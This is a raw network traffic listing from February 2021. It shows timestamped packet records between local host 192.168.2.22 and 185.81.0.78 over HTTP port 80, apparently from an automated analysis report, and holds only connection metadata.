Feb 20, 2021 09:48:08.851761103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851767063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851774931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851785898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851802111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851814985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851818085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851838112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851844072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851855040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851855993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851866007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851872921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851881027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851890087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851907015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851907969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851917982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851924896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851933002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851942062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851958990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851974010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851974964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851986885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851991892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852000952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852008104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852024078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852025986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852037907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852042913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852051973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852061033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852076054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852077961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852089882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852093935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852106094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852111101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852128029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852128029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852142096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852145910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852157116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852180004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852180958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852199078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852216005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852217913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852230072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852251053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852252007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852291107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852317095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852332115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852350950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852351904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852365971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852370024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852381945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852386951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852401972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852405071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852418900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852421999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852432966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852438927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852454901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852458954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852471113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852472067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852487087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852499008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852504969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852520943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852538109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.852541924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852551937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.852565050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.862281084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.862308979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.862365961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.862391949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.862684011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.862705946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.862745047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.862754107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.862763882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.862763882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.862785101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.862786055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.862807035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.862822056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863070965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863090038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863118887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863142967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863142967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863178015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863178968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863214016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863436937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863466024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863476038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863492966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863502979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863538027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863615036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863634109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863652945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863666058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863676071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863703966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863787889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863810062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863823891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863830090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863842010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863848925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863862038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863867998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863879919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863887072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863898039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863905907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.863917112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.863936901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864015102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864064932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864068031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864084959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864101887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864104033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864121914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864121914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864140987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864160061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864171982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864191055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864211082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864229918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864263058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864281893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864300966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864301920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864320993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864321947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864340067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864346027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864358902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864377975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864381075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864401102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864418030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864434958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864523888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864542961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864559889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864561081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864578962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864579916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864598036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864600897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864615917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864619970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864635944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864644051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864666939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864741087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864778996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864787102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864799023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864814997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864816904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864834070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864850998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864871979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864907026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864907980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864928961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.864942074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.864959955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865066051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865102053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865109921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865130901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865145922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865148067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865165949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865183115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865185022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865221024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865230083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865262032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865266085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865298033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865310907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865345955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865370035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865406036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865413904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865444899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865462065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865463972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865482092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865483046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865503073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865514994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865535975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865546942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865581989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865628958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865648985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865665913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865673065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865689993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865695000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865710020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865724087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865742922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865742922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865775108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865777969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865808964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865834951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865853071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865869999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865871906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865890026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865890980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865910053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865910053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865927935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865930080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.865947962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.865966082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.866002083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.866035938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.866111040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.866144896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.866167068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.866184950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.866203070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.866208076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.866223097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.866242886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.878259897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.878382921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.903265953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.903307915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.903440952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.903466940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.903517962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.903532028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.903561115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.903572083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.903587103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.903624058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.903666019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.903709888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.903738976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.903749943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.903765917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.903774977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.903809071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.903820992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.903858900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.903963089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.903994083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904002905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904021978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904032946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904048920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904050112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904077053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904086113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904104948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904114008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904138088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904139042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904169083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904176950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904213905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904258013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904294968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904319048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904346943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904356003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904371977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904380083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904405117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904413939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904433966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904444933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904460907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904462099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904488087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904496908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904515028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904524088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904555082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904601097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904629946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904639006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904658079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904670000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904685020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904685974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904714108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904721975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904742002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904764891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904771090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904772043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904824972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904843092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904860973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904931068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.904975891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.904978991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905008078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905035019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905044079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905049086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905062914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905071020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905091047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905103922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905119896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905124903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905154943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905164957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905180931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905189991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905220032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905246019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905273914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905289888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905302048 CET	80	49165	185.81.0.78	192.168.2.22
